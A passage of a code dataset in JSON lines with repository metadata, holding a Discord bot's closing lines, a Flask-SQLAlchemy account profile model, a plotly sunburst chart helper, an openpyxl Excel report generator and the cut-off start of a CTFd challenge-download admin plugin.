commands.CommandNotFound):\n        await ctx.send('Invalid command used.')\n\n# clear command without a defoult limit\n@bot.command()\nasync def clear_2(ctx, amount : int):\n    await ctx.channel.purge(limit=amount)        \n\n@clear_2.error\nasync def clear_2_error(ctx, error):\n    if isinstance(error, commands.MissingRequiredArgument):\n        await ctx.send('PLease specify an amount of massages to delete.')\n\nkeep_alive()\n#bot.run(os.getenv('TOKEN'))\n\nbot.run(os.environ.get('TOKEN'), bot=True, reconnect=True)\n", "repo_name": "ali-nasir-ali/AwkwardDodgerblueProducts", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2677, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "discord.ext.commands.when_mentioned_or", "line_number": 17, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 17, "usage_type": "name"}, {"api_name": "discord.ext.commands.Bot", "line_number": 20, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 20, "usage_type": "name"}, {"api_name": "replit.clear", "line_number": 46, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 49, "usage_type": "call"}, {"api_name": "discord.ext.commands.CommandNotFound", "line_number": 74, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 74, "usage_type": "name"}, {"api_name": "discord.ext.commands.MissingRequiredArgument", "line_number": 84, "usage_type": "attribute"}, {"api_name": "discord.ext.commands", "line_number": 84, "usage_type": "name"}, {"api_name": "keep_alive.keep_alive", "line_number": 87, "usage_type": "call"}, {"api_name": "os.environ.get", "line_number": 90, "usage_type": "call"}, {"api_name": "os.environ", "line_number": 90, "usage_type": "attribute"}]}
{"seq_id": "10481882996", "text": "\"\"\"\nModels for \"account profiles\" package.\n\"\"\"\n\nimport os\n\nfrom flask import current_app\n\nfrom app import db\nfrom app.common.utils import get_s3_download_link, do_nothing\nfrom app.base.models import BaseModel\nfrom app.base.model_fields import ChoiceString\nfrom app.resources.account_profiles import constants as ACCT_PROFILE\nfrom app.resources.accounts import constants as ACCOUNT\nfrom app.resources.sectors.models import Sector\nfrom app.resources.industries.models import Industry\n\n\nclass AccountProfile(BaseModel):\n\n    __tablename__ = 'account_profile'\n\n    root_profile_photo_folder_key = 'ACCT_PROFILE_PHOTO_FOLDER'\n    root_cover_photo_folder_key = 'ACCT_COVER_PHOTO_FOLDER'\n\n    account_id = db.Column(db.BigInteger, db.ForeignKey(\n        'account.id', name='account_profile_account_id_fkey',\n        ondelete='CASCADE'), nullable=False)\n    account_type = db.Column(ChoiceString(ACCOUNT.ACCT_TYPES_CHOICES),\n                             nullable=False)\n\n    description = db.Column(db.String(9216))\n    # mainly corporate/company type related data\n    sector_id = db.Column(db.BigInteger, db.ForeignKey(\n        'sector.id', name='account_profile_sector_id_fkey'))\n    industry_id = db.Column(db.BigInteger, db.ForeignKey(\n        'industry.id', name='account_profile_industry_id_fkey'))\n    region = db.Column(db.String(128))\n    country = db.Column(db.String(128))\n    market_cap = db.Column(db.BigInteger)\n    stock_price = db.Column(db.String(128))\n    shares = db.Column(db.String(128))\n    # mainly institution related data\n    institution_type = db.Column(db.String(256))\n    institution_style = db.Column(db.String(256))\n    cap_group = db.Column(ChoiceString(ACCT_PROFILE.CAP_TYPES_CHOICES))\n    number_of_holdings = db.Column(db.Integer)\n    top_ten_holdings_percentage = db.Column(db.Numeric(5, 2), default=0)\n    currency = db.Column(db.String(32))\n\n    # common?\n    turnover = db.Column(db.String(256))\n    profile_photo = db.Column(db.String())\n    cover_photo = db.Column(db.String())\n    profile_thumbnail = db.Column(db.String())\n    cover_thumbnail = db.Column(db.String())\n\n    # address\n    address_street_one = db.Column(db.String(256))\n    address_street_two = db.Column(db.String(256))\n    address_city = db.Column(db.String(128))\n    address_state = db.Column(db.String(128))\n    address_zip_code = db.Column(db.String(128))\n    address_country = db.Column(db.String(128))\n    # phone numbers\n    phone_primary = db.Column(db.String(32))\n    phone_secondary = db.Column(db.String(32))\n    phone_alternate = db.Column(db.String(32))\n    # deleted bit\n    deleted = db.Column(db.Boolean, default=False)\n\n    # one-to-one relationship, hence uselist is False\n    account = db.relationship('Account', backref=db.backref(\n        'profile', uselist=False, passive_deletes=True))\n    sector = db.relationship('Sector', backref=db.backref(\n        'account_profiles', lazy='dynamic'))\n    industry = db.relationship('Industry', backref=db.backref(\n        'account_profiles', lazy='dynamic'))\n    child_accounts = db.relationship(\n        'Account', backref=db.backref(\n            'child_account_profile', uselist=False),\n        foreign_keys='[Account.parent_account_id]',\n        primaryjoin=\"AccountProfile.account_id == Account.parent_account_id\",\n        viewonly=True)\n\n    # dynamic properties\n    profile_photo_url = None\n    cover_photo_url = None\n    profile_thumbnail_url = None\n    cover_thumbnail_url = None\n\n    def __init__(self, created_by=None, updated_by=None, *args, **kwargs):\n        self.created_by = created_by\n        self.updated_by = updated_by\n        super(AccountProfile, self).__init__(*args, **kwargs)\n\n    def __repr__(self):\n        return '<AccountProfile %r>' % (self.row_id)\n\n    def load_urls(self, with_redirect=False, expires_in=15552000,\n                  thumbnail_only=False):\n        \"\"\"\n        Populates the profile_photo_url, cover_photo_url,\n        profile_thumbnail_url and cover_thumbnail_url dynamic properties\n        (For photo s3 url will expire after 180 days)\n        \"\"\"\n        s3_url = ''\n        thumbnail_bucket_name = ''\n        if (not self.profile_photo and not self.cover_photo and\n                not self.profile_thumbnail and not self.cover_thumbnail):\n            return\n        sub_folder = self.file_subfolder_name()\n        if current_app.config['S3_UPLOAD']:\n            if self.cover_thumbnail or self.profile_thumbnail:\n                thumbnail_bucket_name = current_app.config[\n                    'S3_THUMBNAIL_BUCKET']\n                s3_url = 'https://s3-ap-southeast-1.amazonaws.com/'\n            signer = get_s3_download_link\n        else:\n            signer = do_nothing\n        if self.cover_thumbnail:\n            self.cover_thumbnail_url = os.path.join(\n                s3_url, thumbnail_bucket_name,\n                current_app.config[self.root_cover_photo_folder_key],\n                sub_folder, self.cover_thumbnail)\n        if self.profile_thumbnail:\n            self.profile_thumbnail_url = os.path.join(\n                s3_url, thumbnail_bucket_name,\n                current_app.config[self.root_profile_photo_folder_key],\n                sub_folder, self.profile_thumbnail)\n        if thumbnail_only:\n            return\n        if self.profile_photo:\n            self.profile_photo_url = signer(os.path.join(\n                current_app.config[self.root_profile_photo_folder_key],\n                sub_folder, self.profile_photo), expires_in=expires_in)\n        if self.cover_photo:\n            self.cover_photo_url = signer(os.path.join(\n                current_app.config[self.root_cover_photo_folder_key],\n                sub_folder, self.cover_photo), expires_in=expires_in)\n        return\n\n    def sort_management(self):\n        \"\"\"\n        sorting management by sequence_id\n        \"\"\"\n        if self.management_profiles:\n            self.management_profiles = sorted(\n                self.management_profiles, key=lambda k: k.sequence_id)\n        return\n", "repo_name": "Witzcode0/Exchange-connect", "sub_path": "app/resources/account_profiles/models.py", "file_name": "models.py", "file_ext": "py", "file_size_in_byte": 5983, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "app.base.models.BaseModel", "line_number": 19, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 26, "usage_type": "call"}, {"api_name": "app.db", "line_number": 26, "usage_type": "name"}, {"api_name": "app.db.BigInteger", "line_number": 26, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 26, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 29, "usage_type": "call"}, {"api_name": "app.db", "line_number": 29, "usage_type": "name"}, {"api_name": "app.base.model_fields.ChoiceString", "line_number": 29, "usage_type": "call"}, {"api_name": "app.resources.accounts.constants.ACCT_TYPES_CHOICES", "line_number": 29, "usage_type": "attribute"}, {"api_name": "app.resources.accounts.constants", "line_number": 29, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 32, "usage_type": "call"}, {"api_name": "app.db", "line_number": 32, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 32, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 34, "usage_type": "call"}, {"api_name": "app.db", "line_number": 34, "usage_type": "name"}, {"api_name": "app.db.BigInteger", "line_number": 34, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 34, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 36, "usage_type": "call"}, {"api_name": "app.db", "line_number": 36, "usage_type": "name"}, {"api_name": "app.db.BigInteger", "line_number": 36, "usage_type": "attribute"}, {"api_name": "app.db.ForeignKey", "line_number": 36, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 38, "usage_type": "call"}, {"api_name": "app.db", "line_number": 38, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 38, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 39, "usage_type": "call"}, {"api_name": "app.db", "line_number": 39, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 39, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 40, "usage_type": "call"}, {"api_name": "app.db", "line_number": 40, "usage_type": "name"}, {"api_name": "app.db.BigInteger", "line_number": 40, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 41, "usage_type": "call"}, {"api_name": "app.db", "line_number": 41, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 41, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 42, "usage_type": "call"}, {"api_name": "app.db", "line_number": 42, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 42, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 44, "usage_type": "call"}, {"api_name": "app.db", "line_number": 44, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 44, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 45, "usage_type": "call"}, {"api_name": "app.db", "line_number": 45, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 45, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 46, "usage_type": "call"}, {"api_name": "app.db", "line_number": 46, "usage_type": "name"}, {"api_name": "app.base.model_fields.ChoiceString", "line_number": 46, "usage_type": "call"}, {"api_name": "app.resources.account_profiles.constants.CAP_TYPES_CHOICES", "line_number": 46, "usage_type": "attribute"}, {"api_name": "app.resources.account_profiles.constants", "line_number": 46, "usage_type": "name"}, {"api_name": "app.db.Column", "line_number": 47, "usage_type": "call"}, {"api_name": "app.db", "line_number": 47, "usage_type": "name"}, {"api_name": "app.db.Integer", "line_number": 47, "usage_type": "attribute"}, {"api_name": "app.db.Column", "line_number": 48, "usage_type": "call"}, {"api_name": "app.db", "line_number": 48, "usage_type": "name"}, {"api_name": "app.db.Numeric", "line_number": 48, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 49, "usage_type": "call"}, {"api_name": "app.db", "line_number": 49, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 49, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 52, "usage_type": "call"}, {"api_name": "app.db", "line_number": 52, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 52, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 53, "usage_type": "call"}, {"api_name": "app.db", "line_number": 53, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 53, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 54, "usage_type": "call"}, {"api_name": "app.db", "line_number": 54, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 54, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 55, "usage_type": "call"}, {"api_name": "app.db", "line_number": 55, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 55, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 56, "usage_type": "call"}, {"api_name": "app.db", "line_number": 56, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 56, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 59, "usage_type": "call"}, {"api_name": "app.db", "line_number": 59, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 59, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 60, "usage_type": "call"}, {"api_name": "app.db", "line_number": 60, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 60, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 61, "usage_type": "call"}, {"api_name": "app.db", "line_number": 61, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 61, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 62, "usage_type": "call"}, {"api_name": "app.db", "line_number": 62, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 62, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 63, "usage_type": "call"}, {"api_name": "app.db", "line_number": 63, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 63, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 64, "usage_type": "call"}, {"api_name": "app.db", "line_number": 64, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 64, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 66, "usage_type": "call"}, {"api_name": "app.db", "line_number": 66, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 66, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 67, "usage_type": "call"}, {"api_name": "app.db", "line_number": 67, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 67, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 68, "usage_type": "call"}, {"api_name": "app.db", "line_number": 68, "usage_type": "name"}, {"api_name": "app.db.String", "line_number": 68, "usage_type": "call"}, {"api_name": "app.db.Column", "line_number": 70, "usage_type": "call"}, {"api_name": "app.db", "line_number": 70, "usage_type": "name"}, {"api_name": "app.db.Boolean", "line_number": 70, "usage_type": "attribute"}, {"api_name": "app.db.relationship", "line_number": 73, "usage_type": "call"}, {"api_name": "app.db", "line_number": 73, "usage_type": "name"}, {"api_name": "app.db.backref", "line_number": 73, "usage_type": "call"}, {"api_name": "app.db.relationship", "line_number": 75, "usage_type": "call"}, {"api_name": "app.db", "line_number": 75, "usage_type": "name"}, {"api_name": "app.db.backref", "line_number": 75, "usage_type": "call"}, {"api_name": "app.db.relationship", "line_number": 77, "usage_type": "call"}, {"api_name": "app.db", "line_number": 77, "usage_type": "name"}, {"api_name": "app.db.backref", "line_number": 77, "usage_type": "call"}, {"api_name": "app.db.relationship", "line_number": 79, "usage_type": "call"}, {"api_name": "app.db", "line_number": 79, "usage_type": "name"}, {"api_name": "app.db.backref", "line_number": 80, "usage_type": "call"}, {"api_name": "app.db", "line_number": 80, "usage_type": "name"}, {"api_name": "flask.current_app.config", "line_number": 113, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 113, "usage_type": "name"}, {"api_name": "flask.current_app.config", "line_number": 115, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 115, "usage_type": "name"}, {"api_name": "app.common.utils.get_s3_download_link", "line_number": 118, "usage_type": "name"}, {"api_name": "app.common.utils.do_nothing", "line_number": 120, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 122, "usage_type": "call"}, {"api_name": "os.path", "line_number": 122, "usage_type": "attribute"}, {"api_name": "flask.current_app.config", "line_number": 124, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 124, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 127, "usage_type": "call"}, {"api_name": "os.path", "line_number": 127, "usage_type": "attribute"}, {"api_name": "flask.current_app.config", "line_number": 129, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 129, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 134, "usage_type": "call"}, {"api_name": "os.path", "line_number": 134, "usage_type": "attribute"}, {"api_name": "flask.current_app.config", "line_number": 135, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 135, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 138, "usage_type": "call"}, {"api_name": "os.path", "line_number": 138, "usage_type": "attribute"}, {"api_name": "flask.current_app.config", "line_number": 139, "usage_type": "attribute"}, {"api_name": "flask.current_app", "line_number": 139, "usage_type": "name"}]}
{"seq_id": "9330509275", "text": "import plotly.graph_objects as go\nimport plotly.express as px\n\n\n#COLOR_MAP \n# one color per possible result of \"get_sigma_function\" is required\n#\ncolor_map = { \"Positive\": { \"root\":  \"#CCFFCC\",\n                            \"items\": px.colors.qualitative.Antique} , #https://plotly.com/python/discrete-color/\n              \"Negative\": { \"root\":  \"#FFCCCC\",\n                            \"items\": px.colors.qualitative.Plotly } }\n#\n# per root-label => colorscale\n# label => (optional)) hash inside colorscale to provide deterministic color-selection per label(-text)\n#\ndef get_color(root, label):\n    #\n    # label not associated with a root-id? => this is a root-item!\n    if not root:\n      return color_map[label][\"root\"]\n    #\n    # use first color in list\n    # * rotate list afterwards\n    cs = color_map[root][\"items\"]\n    color = cs.pop(0)\n    cs.append(color)\n    #\n    return color\n\n\nSIGN_MAP = {}\nSIGN_MAP[True]=\"Positive\"\nSIGN_MAP[False]=\"Negative\"\n#\n# todo: amount=\"0\" doesn't makes sense in sunburst => exception!?\n#\ndef get_sigma_amount(b):\n    #\n    return SIGN_MAP[ (b[\"amount\"]>0) ] \n\n#\n#\nclass SunburstData:\n  # sigma = function over dataset returning name/id of root-class\n  #\n  def __init__(self, get_sigma_function=get_sigma_amount, get_color_function=get_color):\n    self.keys=[]    # \"ids\"\n    self.labels=[]\n    self.parents=[]\n    self.values=[]\n    self.hover_names = []\n    self.colors = []\n    self.get_sigma = get_sigma_function\n    self.get_color = get_color_function\n    \n  def __determine_color(self, parent, key):\n    #  \n    if parent in self.keys:\n        index = self.keys.index(parent)\n        # parent has a parent? => not root! use color of parent\n        if self.parents[index]:\n          return self.colors[index]\n    #\n    # parent == root? determine color\n    return self.get_color(parent, key)\n    \n    \n  # return \"key\" to be referenced as \"parent\" for next level in hierarchy\n  #  \n  def __push(self, value, b, label=\"\", hover=\"\", parent=\"\", uniq=False):\n      #\n      #no label? => root level\n      #\n      if not label:\n        label = self.get_sigma(b)\n      # \n      key = parent+\".\"+label if parent else label\n      #\n      # uniq? prepend #counter to generate id\n      #\n      if uniq:\n        key += \"#\"+str(self.labels.count(label))\n      #\n      try:\n        index = self.keys.index(key)\n        self.values[index] += abs(value)\n      except:\n        self.keys.append(key)\n        self.labels.append(label) \n        self.values.append(abs(value))\n        self.hover_names.append(hover)\n        self.parents.append(parent)\n        self.colors.append( self.__determine_color(parent, key) )\n      #  \n      return key\n  \n  # struct = list of dictonaries\n  # - label (required)\n  # - hover (optional)\n  #\n  def add_item(self, b, struct):\n    #\n    value = b[\"amount\"]\n    #\n    #prepare root-level entry \n    # * empty label => sigma-function determines root-level label\n    #   e.g.(\"Haben\" | \"Soll\") or [DBIT|CRDT]\n    parent_id = self.__push(value, b, label=\"\", hover=\"\", parent=\"\")\n    #\n    # last level in hierarchy - label must be (made) uniq\n    struct[-1][\"uniq\"] = True\n    #\n    # add multi-level hierarchy to root-item\n    for s in struct:\n      label = s[\"label\"]\n      hover = s.get(\"hover\",\"\")\n      uniq = s.get(\"uniq\", False)\n      parent_id = self.__push(value, b, label=label, hover=hover, parent=parent_id, uniq=uniq)\n      \n  def get_figure(self, maxdepth=0):\n    return go.Figure(go.Sunburst(\n         ids=self.keys,\n         labels=self.labels,\n         parents=self.parents,\n         values=self.values,\n         hovertext=self.hover_names,\n         branchvalues=\"total\",\n         marker=dict(colors=self.colors),\n         maxdepth=maxdepth\n        ))\n\n\n# demo\n#\nif __name__ == '__main__':\n    sunburst_data = SunburstData()\n    \n    sunburst_data.add_item( { \"amount\":10 }, [ {\"label\":\"Class A\"},\n                                               {\"label\":\"Sub-Class AA\"},\n                                               {\"label\":\"AA_1\", \"hover\":\"first Item in AA\"} ]\n                          )\n    sunburst_data.add_item( { \"amount\":30 }, [ {\"label\":\"Class A\"},\n                                               {\"label\":\"Sub-Class AA\"},\n                                               {\"label\":\"AA_2\", \"hover\":\"second Item in AA\"} ]\n                          )\n    sunburst_data.add_item( { \"amount\":-10 }, [ {\"label\":\"Class A\"},\n                                                {\"label\":\"Sub-Class AA\"},\n                                                {\"label\":\"AA_3\", \"hover\":\"third Item in AA\"} ]\n                          )\n    sunburst_data.add_item( { \"amount\":-20 }, [ {\"label\":\"Class B\"},\n                                                {\"label\":\"Sub-Class BB\"},\n                                                {\"label\":\"BB_1\", \"hover\":\"first Item in BB\"} ]\n                          )    \n    sunburst_data.add_item( { \"amount\":-5 }, [ {\"label\":\"Class B\"},\n                                                {\"label\":\"Sub-Class BB\"},\n                                                {\"label\":\"Sub-Class BBB\"},\n                                                {\"label\":\"BBB_1\", \"hover\":\"first Item in BBB\"} ]\n                          )    \n    sunburst_data.add_item( { \"amount\":-5 }, [ {\"label\":\"Class B\"},\n                                                {\"label\":\"Sub-Class BB\"},\n                                                {\"label\":\"Sub-Class BBB\"},\n                                                {\"label\":\"BBB_2\", \"hover\":\"second Item in BBB\"} ]\n                          ) \n    #\n    fig = sunburst_data.get_figure(maxdepth=5)\n    #\n    fig.update_layout(margin = dict(t=0, l=0, r=0, b=0))\n    fig.update_traces(textinfo=\"label+percent parent\")\n    fig.show()\n    \n  ", "repo_name": "heitmanr/plotly-tools", "sub_path": "sunburst_data.py", "file_name": "sunburst_data.py", "file_ext": "py", "file_size_in_byte": 5747, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "plotly.express.colors", "line_number": 9, "usage_type": "attribute"}, {"api_name": "plotly.express", "line_number": 9, "usage_type": "name"}, {"api_name": "plotly.express.colors", "line_number": 11, "usage_type": "attribute"}, {"api_name": "plotly.express", "line_number": 11, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Figure", "line_number": 121, "usage_type": "call"}, {"api_name": "plotly.graph_objects", "line_number": 121, "usage_type": "name"}, {"api_name": "plotly.graph_objects.Sunburst", "line_number": 121, "usage_type": "call"}]}
{"seq_id": "25271812429", "text": "import datetime\n\nfrom openpyxl import Workbook, load_workbook\nfrom openpyxl.styles import Font, Color, PatternFill\nfrom openpyxl.utils import get_column_letter\n\n\nclass Relatorio_xls:\n\n    def __init__(self, caminho:str, dados):\n        self.__caminho = caminho\n        self.__dados = dados\n        self.__workbook = Workbook()\n\n        self.plan_ativa = self.__workbook.active\n\n        self.preencherPlanilha()\n\n    def setTitulo(self, titulo:str=\"Relatório\") -> None:\n        self.plan_ativa.title = titulo\n\n    def salvar(self) -> None:\n        self.__workbook.save(self.__caminho)\n\n    def cabecalho(self) -> None:\n        tabela = {\n            \"A2\": [\"DECRETO\", Color(rgb='a4c2f4'), 1],\n            \"B2\": [\"DATA DECRETO\", Color(rgb='a4c2f4'), 2],\n            \"C2\": [\"ORGÃO ORIGEM\", Color(rgb='a4c2f4'), 3],\n            \"D2\": [\"PROGRAMA ORIGEM\", Color(rgb='a4c2f4'), 4],\n            \"E2\": [\"AÇÃO ORIGEM\", Color(rgb='a4c2f4'), 5],\n            \"F2\": [\"PRODUTO ORIGEM\", Color(rgb='a4c2f4'), 6],\n            \"G2\": [\"META FÍSICA ORIGEM\", Color(rgb='a4c2f4'), 7],\n            \"H2\": [\"NOVA META FÍSICA ORIGEM\", Color(rgb='a4c2f4'), 8],\n            \"I2\": [\"ORGÃO DESTINO\", Color(rgb='a4c2f4'), 9],\n            \"J2\": [\"PROGRAMA DESTINO\", Color(rgb='a4c2f4'), 10],\n            \"K2\": [\"AÇÃO DESTINO\", Color(rgb='a4c2f4'), 11],\n            \"L2\": [\"PRODUTO DESTINO\", Color(rgb='a4c2f4'), 12],\n            \"M2\": [\"META FÍSICA DESTINO\", Color(rgb='a4c2f4'), 13],\n            \"N2\": [\"NOVA META FÍSICA DESTINO\", Color(rgb='a4c2f4'), 14],\n            \"O2\": [\"DATA EMAIL INICIAL\", Color(rgb='a4c2f4'), 15],\n            \"P2\": [\"EMAIL\", Color(rgb='a4c2f4'), 16],\n            \"Q2\": [\"VALOR REMANEJADO\", Color(rgb='a4c2f4'), 17],\n        }\n\n        for cel, value in tabela.items():\n            self.plan_ativa[cel].font = Font(bold=True)\n            self.plan_ativa[cel] = value[0]\n            self.plan_ativa[cel].fill = my_fill = PatternFill(patternType='solid', fgColor=value[1])\n            self.plan_ativa.column_dimensions[get_column_letter(value[2])].width = len(value[0])+5\n\n    def preencherDados(self):\n        for j, i in enumerate(self.__dados['id'].values):\n            dados = self.__dados[self.__dados['id'] == i]\n            self.inserirDecreto(self.carregarDados(dados, j+3))\n\n    def carregarDados(self, dados, line):\n        self.dadosPlan = {\n            1 :[dados['N_DECRETO'].values[0], f'A{line}'],\n            2: [dados['DATA_ALTERACAO_ORCAMENTARIA'].values[0], f'B{line}'],\n            3: [f\"{dados['ORGAO_ANULADO'].values[0]} - {dados['NOME_ORGAO_ANULADO'].values[0]}\", f'C{line}'],\n            4: [f\"{dados['ID_PROGRAMA_ANULADO'].values[0]} - {dados['PROGRAMA_ANULADO'].values[0]}\", f'D{line}'],\n            5: [f\"{dados['ID_ACAO_ANULADO'].values[0]} - {dados['ACAO_ANULADO'].values[0]}\", f'E{line}'],\n            6: [dados['NOME_PRODUTO_ANULADO'].values[0], f'F{line}'],\n            7: [dados['VALOR_FISICO_ATUAL_ANULADO'].values[0], f'G{line}'],\n            8: [dados['NOVA_META_FISICA_ANULADO'].values[0], f'H{line}'],\n            9: [f\"{dados['NOME_ORGAO_SUPLEMENTADO'].values[0]} - {dados['NOME_ORGAO_SUPLEMENTADO2'].values[0]}\", f'I{line}'],\n            10: [f\"{dados['ID_PROGRAMA_SUPLEMENTADO'].values[0]} - {dados['PROGRAMA_SUPLEMENTADO'].values[0]}\", f'J{line}'],\n            11: [f\"{dados['ID_ACAO_SUPLEMENTADO'].values[0]} - {dados['ACAO_SUPLEMENTADO'].values[0]}\", f'K{line}'],\n            12: [dados['NOME_PRODUTO_SUPLEMENTADO'].values[0], f'L{line}'],\n            13: [dados['VALOR_FISICO_ATUAL_SUPLEMENTADO'].values[0], f'M{line}'],\n            14: [dados['NOVA_META_FISICA_SUPLEMENTADO'].values[0], f'N{line}'],\n            15: [\"\", f'O{line}'],\n            16: [dados['EMAIL_INICIAL'].values[0], f'P{line}'],\n            17: [dados['VALOR_FINANCEIRO'].values[0], f'Q{line}'],\n        }\n\n        try:\n            self.dadosPlan[15][0] = dados['DATA_EMAIL_INICIAL'].values[0].strftime('%d/%m/%Y')\n        except AttributeError:\n            self.dadosPlan[15][0] = dados['DATA_EMAIL_INICIAL'].values[0]\n\n        return self.dadosPlan\n\n    def inserirDecreto(self, dados) -> None:\n        for numColumn, value in dados.items():\n            self.plan_ativa[value[1]] = value[0]\n\n    def preencherPlanilha(self) -> None:\n        self.cabecalho()\n        self.preencherDados()\n        self.salvar()\n", "repo_name": "GsFerreira99/Sistema-SEPLAN", "sub_path": "funcoes/relatorio_excel.py", "file_name": "relatorio_excel.py", "file_ext": "py", "file_size_in_byte": 4329, "program_lang": "python", "lang": "pt", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "openpyxl.Workbook", "line_number": 13, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 27, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 28, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 29, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 30, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 31, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 32, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 33, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 34, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 35, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 36, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 37, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 38, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 39, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 40, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 41, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 42, "usage_type": "call"}, {"api_name": "openpyxl.styles.Color", "line_number": 43, "usage_type": "call"}, {"api_name": "openpyxl.styles.Font", "line_number": 47, "usage_type": "call"}, {"api_name": "openpyxl.styles.PatternFill", "line_number": 49, "usage_type": "call"}, {"api_name": "openpyxl.utils.get_column_letter", "line_number": 50, "usage_type": "call"}]}
{"seq_id": "39556180402", "text": "import json\nimport os\nimport uuid\nfrom io import BytesIO\nfrom zipfile import ZipFile, ZIP_DEFLATED\n\nfrom flask import render_template, request, redirect, url_for, session\nfrom werkzeug.exceptions import abort\n\nfrom CTFd.api.v1.comments import get_comment_model\nfrom CTFd.models import Challenges, Files, db\nfrom CTFd.plugins import override_template\nfrom CTFd.plugins.challenge_download.forms import ChallengeDownloadForm, ChallengeUploadForm\nfrom CTFd.plugins.challenge_download.serializers import serialize, challenge_from_config\nfrom CTFd.plugins.challenge_download.util import get_template_path\nfrom CTFd.plugins.challenges import get_chal_class\nfrom CTFd.schemas.challenges import ChallengeSchema\nfrom CTFd.schemas.flags import FlagSchema\nfrom CTFd.schemas.hints import HintSchema\nfrom CTFd.schemas.tags import TagSchema\nfrom CTFd.utils.decorators import admins_only\nfrom CTFd.utils.uploads import delete_file, upload_file\n\n\n@admins_only\ndef challenge_download_list():\n    challenges = Challenges.query.all()\n    form = ChallengeDownloadForm()\n    return render_template('challenge_download_list.html', challenges=challenges, form=form)\n\n\n@admins_only\ndef challenge_download_challenge():\n    try:\n        challenge_id = int(request.form['challenge_id'])\n        action = request.form['action']\n    except 